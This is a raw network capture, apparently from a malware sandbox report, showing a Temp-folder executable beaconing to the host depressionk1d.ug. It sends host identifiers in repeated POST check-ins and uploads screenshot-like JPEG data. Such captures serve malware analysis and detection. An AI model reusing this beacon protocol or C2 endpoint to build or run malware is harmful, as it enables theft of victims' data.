Nov 12, 2021 22:23:50.564843893 CET	7362	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:50.591695070 CET	7362	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.4	49933	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:50.733889103 CET	7363	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:50.762523890 CET	7363	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.4	49934	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:50.901207924 CET	7364	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:50.927054882 CET	7364	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49796	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:17.775341988 CET	2194	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:17.775444031 CET	2194	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:17.775630951 CET	2204	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:17.775707006 CET	2207	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:17.798115015 CET	2210	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:17.798182011 CET	2213	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:17.798201084 CET	2215	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:17.798214912 CET	2218	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:17.798229933 CET	2221	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:17.798244953 CET	2223	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:17.798383951 CET	2226	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:17.870863914 CET	2304	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:17 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.4	49935	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:51.045892954 CET	7365	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:51.046029091 CET	7365	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:51.046344995 CET	7375	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:51.046519041 CET	7378	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:51.068872929 CET	7384	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:51.068916082 CET	7392	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:51.068933010 CET	7395	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:51.068945885 CET	7399	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:51.068974972 CET	7404	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:51.091346025 CET	7408	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:51.091375113 CET	7413	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:51.330199003 CET	7476	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:51.377135038 CET	7476	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:51.402901888 CET	7477	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.4	49936	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:51.060720921 CET	7379	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:51.086910009 CET	7405	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.4	49937	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:51.238609076 CET	7475	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:51.263679981 CET	7476	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.4	49938	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:51.541973114 CET	7478	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:51.568938017 CET	7478	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.4	49939	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:51.706532955 CET	7479	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:51.739728928 CET	7479	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.4	49940	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:51.739830017 CET	7479	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----86276d229fb4ffc8fb814ec5a99a260f Host: depressionk1d.ug Content-Length: 106881 Cache-Control: no-cache
Nov 12, 2021 22:23:51.740015030 CET	7480	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 36 32 37 36 64 32 32 39 66 62 34 66 66 63 38 66 62 38 31 34 65 63 35 61 39 39 61 32 36 30 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------86276d229fb4ffc8fb814ec5a99a260fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:51.740359068 CET	7490	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:51.740675926 CET	7492	OUT	Data Raw: 0b 95 68 ad 24 d1 2e 9b ef 18 d3 ea 73 fc aa b5 ed a1 b2 99 63 2e 18 95 dd 90 31 dc ff 00 85 53 84 92 bb 40 9a 2b 51 45 1d aa 46 14 51 45 02 0a 28 a2 80 0a 29 68 a0 04 a5 a2 8a 00 28 a2 90 d0 02 d1 45 14 00 52 d0 29 e9 14 92 1c 47 1b 3f fb a3 34 Data Ascii: h$.sc.1S@+QEFQE()h(ER)G?4w&{'H@ue4+~&d9u2&HW>DPQKE%PRPQKGzJ)h Z,QKJ1Z1A1K@1K1L.6Z1Hb@1@E-RF()hfpRS8!
Nov 12, 2021 22:23:51.768513918 CET	7496	OUT	Data Raw: bd 47 c2 fe 01 d5 b4 5f 11 da 6a 37 57 16 6f 14 3b f7 08 dd cb 72 85 46 32 a3 d4 77 af 2e f8 db ff 00 25 1e 6f fa f6 8b f9 57 91 8a 74 9e 21 3a 4e ea df 8d d9 ec 61 15 58 d0 6a aa b3 bf e1 64 79 cd 2d 1c d1 cd 49 a0 94 51 45 00 7a 4f c1 4f f9 1d Data Ascii: G_j7Wo;rF2w.%oWt!:NaXjdy-IQEzOO\~ A<\H+><Ew=5kg=k*^UHTuTtvs <?iV9odc$c'qn</4R4G9bv\QD$fghn
Nov 12, 2021 22:23:51.768609047 CET	7515	OUT	Data Raw: 68 aa 6d bb dd bf eb fc cc 31 58 bf 6d 08 d3 8c 39 63 1b be af 57 6b fe 48 6d 1c d2 52 d7 41 c4 1c d1 45 14 c0 28 a2 8a 00 29 29 69 29 00 51 45 14 00 bd e8 e6 8a 39 a6 01 49 4b cd 25 00 28 a5 a4 14 50 03 b3 49 49 40 a0 43 bb d1 45 14 00 56 a7 86 Data Ascii: hm1Xm9cWkHmRAE())i)QE9IK%(PII@CEV<U~CjX55I0 7oM/f:q$ v\|]%1;vI'It{o\y suq;\|\gQ4)FMY-u`
Nov 12, 2021 22:23:51.768641949 CET	7518	OUT	Data Raw: ab 66 2f 6a 69 8f da 8e 52 bd a1 50 a5 1b 6a d1 8e 90 a5 2e 51 f3 95 76 d2 ed a9 f6 d2 14 a2 c3 e7 21 0b 4b 8a 93 6d 2e 28 b0 73 0c 02 9c 05 2e 29 71 4c 9b 88 05 2e 29 c0 52 e2 98 ae 37 14 01 8a 76 28 c5 16 15 c4 c7 d2 9a 63 53 fc 22 9f 8a 5c 51 Data Ascii: f/jiRPj.Qv!Km.(s.)qL.)R7v(cS"\Qd>bn)eP{FNi^-.D?j>W4yjShR(h: JIwynCS2\SP+-(0R4O11LR#"qqM4\rC#7#
